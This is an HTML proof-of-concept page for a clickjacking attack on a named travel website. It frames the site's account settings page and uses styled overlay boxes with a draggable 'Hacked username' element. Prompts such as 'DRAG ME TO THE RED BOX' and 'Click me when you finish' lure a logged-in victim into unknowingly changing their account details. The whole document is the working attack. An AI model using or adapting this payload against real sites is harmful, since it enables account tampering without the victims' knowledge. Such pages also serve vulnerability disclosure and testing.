<head><style>#payload{position: absolute;top: 20px;}iframe{width: 100%;height: 585px;border: none;}.xss{position: fixed;background: #F00;}</style></head><body><div style="height: 26px;width: 250px;left: 46.5%;top: 24.5%;" class="xss">.</div><div style="height: 30px;width: 130px;left: 33%;bottom: 29%;background: #F5F;" class="xss">Click me when you finish :)</div><iframe style="opacity:100"src="https://www.tripadvisor.in/Settings-cp"></iframe><div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Hacked username')"><h3>DRAG ME TO THE RED BOX</h3></div></body></html>